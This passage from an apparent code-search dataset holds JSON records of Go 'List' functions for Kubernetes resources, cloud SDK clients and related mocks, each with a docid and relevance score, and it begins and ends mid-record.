PriceSetsPath,\n\t\tQueryParams: req.QueryParams,\n\t\tResult: &ListPriceSetsResult{},\n\t})\n}", "title": "" }, { "docid": "2a12faad02d5a673f03a83cbb58c3342", "score": "0.56651646", "text": "func List(ctx context.Context, namespace, labels string, c kubernetes.Interface) ([]appsv1.StatefulSet, error) {\n\tsfsList, err := c.AppsV1().StatefulSets(namespace).List(\n\t\tctx,\n\t\tmetav1.ListOptions{\n\t\t\tLabelSelector: labels,\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn sfsList.Items, nil\n}", "title": "" }, { "docid": "485213196ab375ce6e9b76b985a379b1", "score": "0.5650658", "text": "func (ucl *UnionCustomResourceDefinitionLister) List(selector labels.Selector) (ret []*apiextensionsv1.CustomResourceDefinition, err error) {\n\tucl.CustomResourceDefinitionLock.RLock()\n\tdefer ucl.CustomResourceDefinitionLock.RUnlock()\n\n\tif ucl.CustomResourceDefinitionLister == nil {\n\t\treturn nil, fmt.Errorf(\"no CustomResourceDefinition lister registered\")\n\t}\n\treturn ucl.CustomResourceDefinitionLister.List(selector)\n}", "title": "" }, { "docid": "8917a407bdbd856852b926ede4ea80cb", "score": "0.563256", "text": "func (mgr *ResourceManager) List(n interface{}) error {\n\n\tvar kind string\n\tns := mgr.namespace\n\n\tswitch s := n.(type) {\n\tdefault:\n\t\tlog.Errorf(\"Invalid spec %T for resource delete action.\", s)\n\t\treturn fmt.Errorf(\"Invalid spec %T for resource delete action.\", s)\n\tcase ActionSpec:\n\t\tcid := s.Tid % len(mgr.clientsets)\n\t\tif s.Namespace != \"\" {\n\t\t\tns = s.Namespace\n\t\t}\n\n\t\tkind = s.Kind\n\n\t\toptions := GetListOptions(s)\n\n\t\tvar latency time.Duration\n\t\tstartTime := metav1.Now()\n\t\tvar l int\n\n\t\tswitch kind {\n\t\tdefault:\n\t\t\tlog.Errorf(\"Invalid kind %T for resource delete action.\", kind)\n\t\tcase POD:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().Pods(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = POD\n\t\tcase SERVICE:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().Services(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = SERVICE\n\t\tcase CONFIG_MAP:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().ConfigMaps(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = CONFIG_MAP\n\t\tcase ENDPOINTS:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().Endpoints(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = ENDPOINTS\n\t\tcase EVENT:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().Events(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = EVENT\n\t\tcase COMPONENT_STATUS:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().ComponentStatuses().List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = COMPONENT_STATUS\n\t\tcase NODE:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().Nodes().List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = NODE\n\t\tcase LIMIT_RANGE:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().LimitRanges(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = LIMIT_RANGE\n\t\tcase PERSISTENT_VOLUME_CLAIM:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().PersistentVolumeClaims(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = PERSISTENT_VOLUME_CLAIM\n\t\tcase PERSISTENT_VOLUME:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().PersistentVolumes().List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = PERSISTENT_VOLUME\n\t\tcase POD_TEMPLATE:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().PodTemplates(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = POD_TEMPLATE\n\t\tcase RESOURCE_QUOTA:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().ResourceQuotas(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = RESOURCE_QUOTA\n\t\tcase SECRET:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().Secrets(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = SECRET\n\t\tcase SERVICE_ACCOUNT:\n\t\t\tresList, _ := mgr.clientsets[cid].CoreV1().ServiceAccounts(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = SERVICE_ACCOUNT\n\t\tcase ROLE:\n\t\t\tresList, _ := mgr.clientsets[cid].RbacV1().Roles(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = ROLE\n\t\tcase ROLE_BINDING:\n\t\t\tresList, _ := mgr.clientsets[cid].RbacV1().RoleBindings(ns).List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = ROLE_BINDING\n\t\tcase CLUSTER_ROLE:\n\t\t\tresList, _ := mgr.clientsets[cid].RbacV1().ClusterRoles().List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = CLUSTER_ROLE\n\t\tcase CLUSTER_ROLE_BINDING:\n\t\t\tresList, _ := mgr.clientsets[cid].RbacV1().ClusterRoleBindings().List(options)\n\t\t\tl = len(resList.Items)\n\t\t\tkind = CLUSTER_ROLE_BINDING\n\t\t}\n\n\t\tlatency = metav1.Now().Time.Sub(startTime.Time).Round(time.Microsecond)\n\t\tlog.Infof(\"List %v %s\", l, kind)\n\n\t\tmgr.alMutex.Lock()\n\t\tif mgr.apiTimes[kind] == nil {\n\t\t\tmgr.apiTimes[kind] = make(map[string][]time.Duration, 0)\n\t\t}\n\t\t// Update latency stats\n\t\tmgr.apiTimes[kind][LIST_ACTION] = append(mgr.apiTimes[kind][LIST_ACTION], latency)\n\t\tmgr.alMutex.Unlock()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f7cfa45b379c404a3c07159b7e4de892", "score": "0.55914813", "text": "func (s *availabilitySetLister) List(selector labels.Selector) (ret []*v1alpha1.AvailabilitySet, err error) {\n\terr = cache.ListAll(s.indexer, selector, func(m interface{}) {\n\t\tret = append(ret, m.(*v1alpha1.AvailabilitySet))\n\t})\n\treturn ret, err\n}", "title": "" }, { "docid": "fd90d1130e5fb19e167a9da302dccca2", "score": "0.5562179", "text": "func (m *MockQriModule) listDatasets(thread *starlark.Thread, _ *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tls := &starlark.List{}\n\tls.Append(starlark.String(\"test/ds_1@QmExample/ipfs/QmExample\"))\n\tls.Append(starlark.String(\"test/ds_2@QmSample/ipfs/QmSample\"))\n\treturn ls, nil\n}", "title": "" }, { "docid": "a8f8ef533f0c096df763c50e897b3025", "score": "0.55203074", "text": "func (c *quarksStatefulSets) List(opts v1.ListOptions) (result *v1alpha1.QuarksStatefulSetList, err error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\tresult = &v1alpha1.QuarksStatefulSetList{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"quarksstatefulsets\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "4e586dbc0fd9353350c8053e54864984", "score": "0.54684114", "text": "func (a Apps_v1beta1Api) ListStatefulSetForAllNamespaces(continue_ string, fieldSelector string, includeUninitialized bool, labelSelector string, limit int32, pretty string, resourceVersion string, timeoutSeconds int32, watch bool) (*V1beta1StatefulSetList, *APIResponse, error) {\n\n\tvar localVarHttpMethod = strings.ToUpper(\"Get\")\n\t// create path and map variables\n\tlocalVarPath := a.Configuration.BasePath + \"/apis/apps/v1beta1/statefulsets\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := make(map[string]string)\n\tvar localVarPostBody interface{}\n\tvar localVarFileName string\n\tvar localVarFileBytes []byte\n\t// authentication '(BearerToken)' required\n\t// set key with prefix in header\n\tlocalVarHeaderParams[\"authorization\"] = a.Configuration.GetAPIKeyWithPrefix(\"authorization\")\n\t// add default headers if any\n\tfor key := range a.Configuration.DefaultHeader {\n\t\tlocalVarHeaderParams[key] = a.Configuration.DefaultHeader[key]\n\t}\n\tlocalVarQueryParams.Add(\"continue\", a.Configuration.APIClient.ParameterToString(continue_, \"\"))\n\tlocalVarQueryParams.Add(\"fieldSelector\", a.Configuration.APIClient.ParameterToString(fieldSelector, \"\"))\n\tlocalVarQueryParams.Add(\"includeUninitialized\", a.Configuration.APIClient.ParameterToString(includeUninitialized, \"\"))\n\tlocalVarQueryParams.Add(\"labelSelector\", a.Configuration.APIClient.ParameterToString(labelSelector, \"\"))\n\tlocalVarQueryParams.Add(\"limit\", a.Configuration.APIClient.ParameterToString(limit, \"\"))\n\tlocalVarQueryParams.Add(\"pretty\", a.Configuration.APIClient.ParameterToString(pretty, \"\"))\n\tlocalVarQueryParams.Add(\"resourceVersion\", a.Configuration.APIClient.ParameterToString(resourceVersion, \"\"))\n\tlocalVarQueryParams.Add(\"timeoutSeconds\", a.Configuration.APIClient.ParameterToString(timeoutSeconds, \"\"))\n\tlocalVarQueryParams.Add(\"watch\", a.Configuration.APIClient.ParameterToString(watch, \"\"))\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{ \"*/*\", }\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := a.Configuration.APIClient.SelectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\n\t\t\"application/json\",\n\t\t\"application/yaml\",\n\t\t\"application/vnd.kubernetes.protobuf\",\n\t\t\"application/json;stream=watch\",\n\t\t\"application/vnd.kubernetes.protobuf;stream=watch\",\n\t\t}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := a.Configuration.APIClient.SelectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tvar successPayload = new(V1beta1StatefulSetList)\n\tlocalVarHttpResponse, err := a.Configuration.APIClient.CallAPI(localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\n\tvar localVarURL, _ = url.Parse(localVarPath)\n\tlocalVarURL.RawQuery = localVarQueryParams.Encode()\n\tvar localVarAPIResponse = &APIResponse{Operation: \"ListStatefulSetForAllNamespaces\", Method: localVarHttpMethod, RequestURL: localVarURL.String()}\n\tif localVarHttpResponse != nil {\n\t\tlocalVarAPIResponse.Response = localVarHttpResponse.RawResponse\n\t\tlocalVarAPIResponse.Payload = localVarHttpResponse.Body()\n\t}\n\n\tif err != nil {\n\t\treturn successPayload, localVarAPIResponse, err\n\t}\n\terr = json.Unmarshal(localVarHttpResponse.Body(), &successPayload)\n\treturn successPayload, localVarAPIResponse, err\n}", "title": "" }, { "docid": "ce37829502d8c8151d40b960a8247fae", "score": "0.5456724", "text": "func (c *Client) ListResourceSets(ctx context.Context, params *ListResourceSetsInput, optFns ...func(*Options)) (*ListResourceSetsOutput, error) {\n\tif params == nil {\n\t\tparams = &ListResourceSetsInput{}\n\t}\n\n\tresult, metadata, err := c.invokeOperation(ctx, \"ListResourceSets\", params, optFns, c.addOperationListResourceSetsMiddlewares)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := result.(*ListResourceSetsOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}", "title": "" }, { "docid": "0a5de02b4920178876d0d29b271dc2f3", "score": "0.54384327", "text": "func (t *store) List(\n\tctx context.Context,\n\tkey string,\n\tresourceVersion string,\n\tp storage.SelectionPredicate,\n\tlistObj runtime.Object,\n) error {\n\tns, _, err := t.decodeKey(key)\n\tif err != nil {\n\t\tglog.Errorf(\"decoding %s (%s)\", key, err)\n\t\treturn err\n\t}\n\n\tif t.hasNamespace && ns == t.defaultNamespace {\n\t\t// if the resource is supposed to have a namespace, and the given one is the default,\n\t\t// then assume that '--all-namespaces' was given on the kubectl command line.\n\t\t// this assumption means that a kubectl command that specifies a namespace equal to\n\t\t// the default namespace (i.e. '-n default-ns'), we will still list all resources.\n\t\t//\n\t\t// to list all resources, we get all namespaces, list all resources in each namespace,\n\t\t// and then collect all resources into the single listObj\n\t\tallNamespaces, err := getAllNamespaces(t.cl)\n\t\tif err != nil {\n\t\t\tglog.Errorf(\"listing all namespaces (%s)\", err)\n\t\t\treturn err\n\t\t}\n\t\tvar objList []runtime.Object\n\t\tfor _, ns := range allNamespaces.Items {\n\t\t\tallObjs, err := listResource(t.cl, ns.Name, t.singularKind, listObj, t.codec)\n\t\t\tif err != nil {\n\t\t\t\tglog.Errorf(\"error listing resources (%s)\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tobjList = append(objList, allObjs...)\n\t\t}\n\t\tif err := meta.SetList(listObj, objList); err != nil {\n\t\t\tglog.Errorf(\"setting list items (%s)\", err)\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\t// otherwise, list all the resources in the given namespace. if the resource is not supposed\n\t// to be namespaced, then ns will be the default namespace\n\tobjs, err := listResource(t.cl, ns, t.singularKind, listObj, t.codec)\n\tif err != nil {\n\t\tglog.Errorf(\"listing resources (%s)\", err)\n\t\treturn err\n\t}\n\tfor i, obj := range objs {\n\t\tif err := removeNamespace(obj); err != nil {\n\t\t\tglog.Errorf(\"removing namespace from obj %d (%s)\", i, err)\n\t\t\treturn err\n\t\t}\n\t}\n\tif err := meta.SetList(listObj, objs); err != nil {\n\t\tglog.Errorf(\"setting list items (%s)\", err)\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "562f71c7bb47031167fbf20ed02e6006", "score": "0.53962123", "text": "func (r *DatasetsService) List(projectId string) *DatasetsListCall {\n\tc := &DatasetsListCall{s: r.s, opt_: make(map[string]interface{})}\n\tc.projectId = projectId\n\treturn c\n}", "title": "" }, { "docid": "562f71c7bb47031167fbf20ed02e6006", "score": "0.53962123", "text": "func (r *DatasetsService) List(projectId string) *DatasetsListCall {\n\tc := &DatasetsListCall{s: r.s, opt_: make(map[string]interface{})}\n\tc.projectId = projectId\n\treturn c\n}", "title": "" }, { "docid": "7652f7c6879d8ed8c88a4aa7565d521e", "score": "0.53954756", "text": "func (e *ELSCLI) listRulesets(vendorID string) {\n\turl := \"/vendors/\" + vendorID + \"/paygRuleSets\"\n\n\tif err := e.get(url); err != nil {\n\t\te.fatalError(err)\n\t}\n}", "title": "" }, { "docid": "f39c432d1470586bf747d07c065766d3", "score": "0.5361571", "text": "func (s statefulSetNamespaceLister) List(selector labels.Selector) (ret []*appsv1.StatefulSet, err error) {\n\tlistopt := metav1.ListOptions{\n\t\tLabelSelector: selector.String(),\n\t}\n\tif s.tweakListOptions != nil {\n\t\ts.tweakListOptions(&listopt)\n\t}\n\tlist, err := s.client.AppsV1().StatefulSets(s.namespace).List(listopt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor i := range list.Items {\n\t\tret = append(ret, &list.Items[i])\n\t}\n\treturn ret, nil\n}", "title": "" }, { "docid": "e1d49607ba69f159c62647809fe98419", "score": "0.5349533", "text": "func (a Apps_v1beta1Api) ListNamespacedStatefulSet(namespace string, pretty string, continue_ string, fieldSelector string, includeUninitialized bool, labelSelector string, limit int32, resourceVersion string, timeoutSeconds int32, watch bool) (*V1beta1StatefulSetList, *APIResponse, error) {\n\n\tvar localVarHttpMethod = strings.ToUpper(\"Get\")\n\t// create path and map variables\n\tlocalVarPath := a.Configuration.BasePath + \"/apis/apps/v1beta1/namespaces/{namespace}/statefulsets\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"namespace\"+\"}\", fmt.Sprintf(\"%v\", namespace), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := make(map[string]string)\n\tvar localVarPostBody interface{}\n\tvar localVarFileName string\n\tvar localVarFileBytes []byte\n\t// authentication '(BearerToken)' required\n\t// set key with prefix in header\n\tlocalVarHeaderParams[\"authorization\"] = a.Configuration.GetAPIKeyWithPrefix(\"authorization\")\n\t// add default headers if any\n\tfor key := range a.Configuration.DefaultHeader {\n\t\tlocalVarHeaderParams[key] = a.Configuration.DefaultHeader[key]\n\t}\n\tlocalVarQueryParams.Add(\"pretty\", a.Configuration.APIClient.ParameterToString(pretty, \"\"))\n\tlocalVarQueryParams.Add(\"continue\", a.Configuration.APIClient.ParameterToString(continue_, \"\"))\n\tlocalVarQueryParams.Add(\"fieldSelector\", a.Configuration.APIClient.ParameterToString(fieldSelector, \"\"))\n\tlocalVarQueryParams.Add(\"includeUninitialized\", a.Configuration.APIClient.ParameterToString(includeUninitialized, \"\"))\n\tlocalVarQueryParams.Add(\"labelSelector\", a.Configuration.APIClient.ParameterToString(labelSelector, \"\"))\n\tlocalVarQueryParams.Add(\"limit\", a.Configuration.APIClient.ParameterToString(limit, \"\"))\n\tlocalVarQueryParams.Add(\"resourceVersion\", a.Configuration.APIClient.ParameterToString(resourceVersion, \"\"))\n\tlocalVarQueryParams.Add(\"timeoutSeconds\", a.Configuration.APIClient.ParameterToString(timeoutSeconds, \"\"))\n\tlocalVarQueryParams.Add(\"watch\", a.Configuration.APIClient.ParameterToString(watch, \"\"))\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{ \"*/*\", }\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := a.Configuration.APIClient.SelectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\n\t\t\"application/json\",\n\t\t\"application/yaml\",\n\t\t\"application/vnd.kubernetes.protobuf\",\n\t\t\"application/json;stream=watch\",\n\t\t\"application/vnd.kubernetes.protobuf;stream=watch\",\n\t\t}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := a.Configuration.APIClient.SelectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tvar successPayload = new(V1beta1StatefulSetList)\n\tlocalVarHttpResponse, err := a.Configuration.APIClient.CallAPI(localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\n\tvar localVarURL, _ = url.Parse(localVarPath)\n\tlocalVarURL.RawQuery = localVarQueryParams.Encode()\n\tvar localVarAPIResponse = &APIResponse{Operation: \"ListNamespacedStatefulSet\", Method: localVarHttpMethod, RequestURL: localVarURL.String()}\n\tif localVarHttpResponse != nil {\n\t\tlocalVarAPIResponse.Response = localVarHttpResponse.RawResponse\n\t\tlocalVarAPIResponse.Payload = localVarHttpResponse.Body()\n\t}\n\n\tif err != nil {\n\t\treturn successPayload, localVarAPIResponse, err\n\t}\n\terr = json.Unmarshal(localVarHttpResponse.Body(), &successPayload)\n\treturn successPayload, localVarAPIResponse, err\n}", "title": "" }, { "docid": "06635d2981efde742ddfe6e24f82f228", "score": "0.5334275", "text": "func (s *service) ListBySelector(\n\tctx context.Context, request common.Selector) (\n\tresponse common.RegistrationEntries, err error) {\n\treturn response, err\n}", "title": "" }, { "docid": "033d89ecf101d180d42b942a16590d5d", "score": "0.5300634", "text": "func (f FakePodLister) List(s labels.Selector) (selected []*v1.Pod, err error) {\n\tfor _, pod := range f {\n\t\tif s.Matches(labels.Set(pod.Labels)) {\n\t\t\tselected = append(selected, pod)\n\t\t}\n\t}\n\treturn selected, nil\n}", "title": "" }, { "docid": "b48d9a8b338ebcf5667c4a8de66c1df3", "score": "0.5299149", "text": "func (client *AvailabilitySetsClient) List(resourceGroupName string, options *AvailabilitySetsListOptions) AvailabilitySetListResultPager {\n\treturn &availabilitySetListResultPager{\n\t\tpipeline: client.con.Pipeline(),\n\t\trequester: func(ctx context.Context) (*azcore.Request, error) {\n\t\t\treturn client.listCreateRequest(ctx, resourceGroupName, options)\n\t\t},\n\t\tresponder: client.listHandleResponse,\n\t\terrorer: client.listHandleError,\n\t\tadvancer: func(ctx context.Context, resp AvailabilitySetListResultResponse) (*azcore.Request, error) {\n\t\t\treturn azcore.NewRequest(ctx, http.MethodGet, *resp.AvailabilitySetListResult.NextLink)\n\t\t},\n\t\tstatusCodes: []int{http.StatusOK},\n\t}\n}", "title": "" }, { "docid": "8d13889221413a3cb485cc9db02cc9c0", "score": "0.52947366", "text": "func (s *DatasetsService) List(ctx context.Context) ([]*Dataset, error) {\n\tvar res []*Dataset\n\tif err := s.client.call(ctx, http.MethodGet, s.basePath, nil, &res); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn res, nil\n}", "title": "" }, { "docid": "1173badfed7650435402528a7b633e57", "score": "0.5257557", "text": "func (a *MockAPI) ListResourceRecordSetsByZone(zoneName string) (*[]dns.RecordSet, error) {\n\tarr := make([]dns.RecordSet, 0)\n\tif len(a.recordSets) <= 0 {\n\t\tarr = []dns.RecordSet{}\n\t} else if _, ok := a.recordSets[zoneName]; !ok {\n\t\tarr = []dns.RecordSet{}\n\t} else {\n\t\trrset := a.recordSets[zoneName]\n\t\tfor _, r := range rrset {\n\t\t\tarr = append(arr, dns.RecordSet{Name: r.Name, ID: r.ID, Type: r.Type, RecordSetProperties: r.RecordSetProperties})\n\t\t}\n\t}\n\treturn &arr, nil\n}", "title": "" }, { "docid": "b4fc65ce8cfd32a770fd8ebbe425496e", "score": "0.525573", "text": "func (i *ipset) List(prefix string) ([]Name, error) {\n\toutput, err := exec.Command(\"ipset\", \"list\", \"-name\", \"-output\", \"plain\").Output()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar selected []Name\n\tsets := strings.Split(string(output), \"\\n\")\n\tfor _, v := range sets {\n\t\tif strings.HasPrefix(v, prefix) {\n\t\t\tselected = append(selected, Name(v))\n\t\t}\n\t}\n\n\treturn selected, err\n}", "title": "" }, { "docid": "f34c4a61e6bf8813f4419b51c0bf91cf", "score": "0.5240237", "text": "func List(c *echo.Context, r AzureResource) error {\n\tgroupName := c.Param(\"group_name\")\n\tcreds, err := GetClientCredentials(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresourcePath := r.GetCollectionPath(groupName, creds.Subscription)\n\tresources, err := GetResources(c, resourcePath)\n\tif err != nil {\n\t\treturn err\n\t}\n\t//add href for each resource\n\tfor _, resource := range resources {\n\t\tresource[\"href\"] = r.GetHref(resource[\"id\"].(string))\n\t}\n\treturn Render(c, 200, resources, r.GetContentType()+\";type=collection\")\n}", "title": "" }, { "docid": "bf3850938512aff2e2b8868a888c9f90", "score": "0.51936746", "text": "func (f FakePodInfoLister) List(s labels.Selector) (selected []*v1.Pod, err error) {\n\tfor _, pod := range f {\n\t\tif s.Matches(labels.Set(pod.Labels)) {\n\t\t\tselected = append(selected, pod)\n\t\t}\n\t}\n\treturn selected, nil\n}", "title": "" }, { "docid": "5c22fe3f8e584a1805e6f12d76a99d64", "score": "0.5179076", "text": "func (s *REST) List(ctx kapi.Context, label labels.Selector, field fields.Selector) (runtime.Object, error) {\n\tuser, ok := kapi.UserFrom(ctx)\n\tif !ok {\n\t\treturn nil, kerrors.NewForbidden(\"Project\", \"\", fmt.Errorf(\"unable to list projects without a user on the context\"))\n\t}\n\tnamespaceList, err := s.lister.List(user)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tm := nsregistry.MatchNamespace(label, field)\n\tlist, err := generic.FilterList(namespaceList, m, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn convertNamespaceList(list.(*kapi.NamespaceList)), nil\n}", "title": "" }, { "docid": "62b6dac7b510889971c743fd93053d0f", "score": "0.51749057", "text": "func (s availabilitySetNamespaceLister) List(selector labels.Selector) (ret []*v1alpha1.AvailabilitySet, err error) {\n\terr = cache.ListAllByNamespace(s.indexer, s.namespace, selector, func(m interface{}) {\n\t\tret = append(ret, m.(*v1alpha1.AvailabilitySet))\n\t})\n\treturn ret, err\n}", "title": "" }, { "docid": "5e07f74e98a418538394c04eff575d22", "score": "0.5170885", "text": "func (s *variableSets) List(ctx context.Context, organization string, options *VariableSetListOptions) (*VariableSetList, error) {\n\tif !validStringID(&organization) {\n\t\treturn nil, ErrInvalidOrg\n\t}\n\tif options != nil {\n\t\tif err := options.valid(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tu := fmt.Sprintf(\"organizations/%s/varsets\", url.QueryEscape(organization))\n\treq, err := s.client.NewRequest(\"GET\", u, options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvl := &VariableSetList{}\n\terr = req.Do(ctx, vl)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn vl, nil\n}", "title": "" }, { "docid": "4c034288e53e61dfa42ccc6faa0eb686", "score": "0.5161179", "text": "func listReplicaSets(deployment *appsv1.Deployment, getRSList rsListFunc, chunkSize *int64) ([]*appsv1.ReplicaSet, error) {\n\t// TODO: Right now we list replica sets by their labels. We should list them by selector, i.e. the replica set's selector\n\t// should be a superset of the deployment's selector, see https://github.com/kubernetes/kubernetes/issues/19830.\n\tnamespace := deployment.Namespace\n\tselector, err := metav1.LabelSelectorAsSelector(deployment.Spec.Selector)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\toptions := metav1.ListOptions{LabelSelector: selector.String()}\n\tif chunkSize != nil {\n\t\toptions.Limit = *chunkSize\n\t}\n\tall, err := getRSList(namespace, options)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Only include those whose ControllerRef matches the Deployment.\n\towned := make([]*appsv1.ReplicaSet, 0, len(all))\n\tfor _, rs := range all {\n\t\tif metav1.IsControlledBy(rs, deployment) {\n\t\t\towned = append(owned, rs)\n\t\t}\n\t}\n\treturn owned, nil\n}", "title": "" }, { "docid": "495655b21300d31d98cb24b113e1db33", "score": "0.51347196", "text": "func (c *replicaSets) List(opts api.ListOptions) (result *extensions.ReplicaSetList, err error) {\n\tresult = &extensions.ReplicaSetList{}\n\terr = c.client.Get().Namespace(c.ns).Resource(\"replicasets\").VersionedParams(&opts, api.ParameterCodec).Do().Into(result)\n\treturn\n}", "title": "" }, { "docid": "011cce0e575473e2f1e348bd5ae119c8", "score": "0.50977653", "text": "func (m *GormResourceTypeRepository) List(ctx context.Context) ([]ResourceType, error) {\n\tdefer goa.MeasureSince([]string{\"goa\", \"db\", \"resource_type\", \"list\"}, time.Now())\n\tvar rows []ResourceType\n\n\terr := m.db.Model(&ResourceType{}).Order(\"name\").Find(&rows).Error\n\tif err != nil && err != gorm.ErrRecordNotFound {\n\t\treturn nil, errs.WithStack(err)\n\t}\n\treturn rows, nil\n}", "title": "" }, { "docid": "7fb749ff2f6fc262915a92b8a73d4184", "score": "0.5058032", "text": "func (p *pipeline) List(qs map[string]string) ([]*Pipeline, error) {\n\tr := &getPipelineResponse{}\n\tresp, err := p.codefresh.requestAPI(&requestOptions{\n\t\tpath: \"/api/pipelines\",\n\t\tmethod: \"GET\",\n\t\tqs: qs,\n\t})\n\terr = p.codefresh.decodeResponseInto(resp, r)\n\treturn r.Docs, err\n}", "title": "" }, { "docid": "aa8269b696849a5dc738ea66747571e5", "score": "0.50402576", "text": "func (r Repository) ListResources(ctx context.Context, opts storage.ResourceListOpts) (*storage.ResourceList, error) {\n\tsecretList, err := r.client.ListSecrets(ctx, r.namespace, r.genK8sLabels())\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not list secrets from Kubernetes: %w\", err)\n\t}\n\n\tresList := storage.ResourceList{}\n\tfor _, secret := range secretList {\n\t\tres, err := r.secretToResource(ctx, &secret)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not convert %q secret to model resource: %w\", secret.GetName(), err)\n\t\t}\n\t\tresList.Items = append(resList.Items, *res)\n\t}\n\n\treturn &resList, nil\n}", "title": "" }, { "docid": "7c4908459b11f7e8b6eabba88b4dcafd", "score": "0.5030622", "text": "func ListarSets() {\n\t// qry := mtg.NewSetQuery()\n\t// qry.Where(mtg.CardSet, \"ELD\").OrderBy(mtg.CardNumber)\n\tsets, err := mtg.NewSetQuery().All()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfor _, s := range sets {\n\t\tfmt.Printf(\"%s - %s\\n\", s.SetCode, s.Name)\n\t}\n\n}", "title": "" }, { "docid": "ada27a01e922e2a6b8c0b0fb04d586d2", "score": "0.5010692", "text": "func List(ctx context.Context, c client.Client, namespace string, selector map[string]string) ([]appsv1.Deployment, error) {\n\tlist := &appsv1.DeploymentList{}\n\topts := []client.ListOption{\n\t\tclient.InNamespace(namespace),\n\t\tclient.MatchingLabels(selector),\n\t}\n\tif err := c.List(ctx, list, opts...); err != nil {\n\t\treturn nil, kverrors.Wrap(err, \"failed to list deployments\",\n\t\t\t\"namespace\", namespace,\n\t\t)\n\t}\n\n\treturn list.Items, nil\n}", "title": "" }, { "docid": "0ce3eaa4bc623dd8e741fded99e12d6f", "score": 